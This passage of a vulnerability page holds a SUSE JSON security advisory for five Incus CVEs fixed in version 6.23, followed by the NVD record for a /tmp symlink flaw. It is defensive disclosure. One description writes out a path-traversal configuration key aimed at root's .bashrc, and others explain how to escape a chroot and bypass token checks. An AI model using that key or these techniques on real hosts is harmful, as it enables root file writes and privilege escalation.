"openSUSE Tumbleweed:incus-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-33711",
"url": "https://www.suse.com/security/cve/CVE-2026-33711"
},
{
"category": "external",
"summary": "SUSE Bug 1260937 for CVE-2026-33711",
"url": "https://bugzilla.suse.com/1260937"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:incus-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-28T00:00:00Z",
"details": "moderate"
}
],
"title": "CVE-2026-33711"
},
{
"cve": "CVE-2026-33743",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-33743"
}
],
"notes": [
{
"category": "general",
"text": "Incus is a system container and virtual machine manager. Prior to version 6.23.0, a specially crafted storage bucket backup can be used by an user with access to Incus\u0027 storage bucket feature to crash the Incus daemon. Repeated use of this attack can be used to keep the server offline causing a denial of service of the control plane API. This does not impact any running workload, existing containers and virtual machines will keep operating. Version 6.23.0 fixes the issue.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:incus-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-33743",
"url": "https://www.suse.com/security/cve/CVE-2026-33743"
},
{
"category": "external",
"summary": "SUSE Bug 1260936 for CVE-2026-33743",
"url": "https://bugzilla.suse.com/1260936"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:incus-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-28T00:00:00Z",
"details": "moderate"
}
],
"title": "CVE-2026-33743"
},
{
"cve": "CVE-2026-33897",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-33897"
}
],
"notes": [
{
"category": "general",
"text": "Incus is a system container and virtual machine manager. Prior to version 6.23.0, instance template files can be used to cause arbitrary read or writes as root on the host server. Incus allows for pongo2 templates within instances which can be used at various times in the instance lifecycle to template files inside of the instance. This particular implementation of pongo2 within Incus allowed for file read/write but with the expectation that the pongo2 chroot feature would isolate all such access to the instance\u0027s filesystem. This was allowed such that a template could theoretically read a file and then generate a new version of said file. Unfortunately the chroot isolation mechanism is entirely skipped by pongo2 leading to easy access to the entire system\u0027s filesystem with root privileges. Version 6.23.0 patches the issue.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:incus-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-33897",
"url": "https://www.suse.com/security/cve/CVE-2026-33897"
},
{
"category": "external",
"summary": "SUSE Bug 1260935 for CVE-2026-33897",
"url": "https://bugzilla.suse.com/1260935"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:incus-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:incus-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-28T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-33897"
},
{
"cve": "CVE-2026-33898",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-33898"
}
],
"notes": [
{
"category": "general",
"text": "Incus is a system container and virtual machine manager. Prior to version 6.23.0, the web server spawned by `incus webui` incorrectly validates the authentication token such that an invalid value will be accepted. `incus webui` runs a local web server on a random localhost port. For authentication, it provides the user with a URL containing an authentication token. When accessed with that token, Incus creates a cookie persisting that token without needing to include it in subsequent HTTP requests. While the Incus client correctly validates the value of the cookie, it does not correctly validate the token when passed int the URL.\nThis allows for an attacker able to locate and talk to the temporary web server on localhost to have as much access to Incus as the user who ran `incus webui`. This can lead to privilege escalation by another local user or an access to the user\u0027s Incus instances and possibly system resources by a remote attack able to trick the local user into interacting with the Incus UI web server. Version 6.23.0 patches the issue.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:incus-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-33898",
"url": "https://www.suse.com/security/cve/CVE-2026-33898"
},
{
"category": "external",
"summary": "SUSE Bug 1260883 for CVE-2026-33898",
"url": "https://bugzilla.suse.com/1260883"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:incus-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-28T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-33898"
},
{
"cve": "CVE-2026-33945",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-33945"
}
],
"notes": [
{
"category": "general",
"text": "Incus is a system container and virtual machine manager. Incus instances have an option to provide credentials to systemd in the guest. For containers, this is handled through a shared directory. Prior to version 6.23.0, an attacker can set a configuration key named something like `systemd.credential.../../../../../../root/.bashrc` to cause Incus to write outside of the `credentials` directory associated with the container. This makes use of the fact that the Incus syntax for such credentials is `systemd.credential.XYZ` where `XYZ` can itself contain more periods. While it\u0027s not possible to read any data this way, it\u0027s possible to write to arbitrary files as root, enabling both privilege escalation and denial of service attacks. Version 6.23.0 fixes the issue.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:incus-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-33945",
"url": "https://www.suse.com/security/cve/CVE-2026-33945"
},
{
"category": "external",
"summary": "SUSE Bug 1260880 for CVE-2026-33945",
"url": "https://bugzilla.suse.com/1260880"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:incus-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:incus-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-28T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-33945"
}
]
}
FKIE_CVE-2026-33711
Vulnerability from fkie_nvd - Published: 2026-03-26 23:16 - Updated: 2026-03-30 18:51| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/lxc/incus/security/advisories/GHSA-q9vp-3wcg-8p4x | Exploit, Vendor Advisory | |
| 134c704f-9b21-4f2e-91b3-4a467353bcc0 | https://github.com/lxc/incus/security/advisories/GHSA-q9vp-3wcg-8p4x | Exploit, Vendor Advisory |
| Vendor | Product | Version | |
|---|---|---|---|
| linuxcontainers | incus | * |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*",
"matchCriteriaId": "CBE3ABCB-1D47-4A45-A09A-C9F609C53131",
"versionEndExcluding": "6.23.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Incus is a system container and virtual machine manager. Incus provides an API to retrieve VM screenshots. That API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion. As versions prior to 6.23.0 use predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time. On the vast majority of Linux systems, this will result in a \"Permission denied\" error when requesting a screenshot. That\u0027s because the Linux kernel has a security feature designed to block such attacks, `protected_symlinks`. On the rare systems with this purposefully disabled, it\u0027s then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation. Version 6.23.0 fixes the issue."
},
{
"lang": "es",
"value": "Incus es un gestor de contenedores de sistema y m\u00e1quinas virtuales. Incus proporciona una API para recuperar capturas de pantalla de la m\u00e1quina virtual. Esa API se basa en el uso de un archivo temporal para que QEMU escriba la captura de pantalla, la cual luego se recoge y se env\u00eda al usuario antes de su eliminaci\u00f3n. Dado que las versiones anteriores a la 6.23.0 utilizan rutas predecibles bajo /tmp para esto, un atacante con acceso local al sistema puede abusar de este mecanismo creando sus propios enlaces simb\u00f3licos con antelaci\u00f3n. En la gran mayor\u00eda de los sistemas Linux, esto resultar\u00e1 en un error de \u0027Permiso denegado\u0027 al solicitar una captura de pantalla. Esto se debe a que el kernel de Linux tiene una caracter\u00edstica de seguridad dise\u00f1ada para bloquear tales ataques, protected_symlinks. En los sistemas raros con esto deshabilitado a prop\u00f3sito, es entonces posible enga\u00f1ar a Incus para que trunque y altere el modo y los permisos de archivos arbitrarios en el sistema de archivos, lo que lleva a una potencial denegaci\u00f3n de servicio o posible escalada de privilegios local. La versi\u00f3n 6.23.0 corrige el problema."
}
],
"id": "CVE-2026-33711",
"lastModified": "2026-03-30T18:51:41.500",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 4.7,
"baseSeverity": "MEDIUM",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "PROOF_OF_CONCEPT",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "LOW",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
},
"published": "2026-03-26T23:16:20.423",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/lxc/incus/security/advisories/GHSA-q9vp-3wcg-8p4x"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/lxc/incus/security/advisories/GHSA-q9vp-3wcg-8p4x"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-61"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.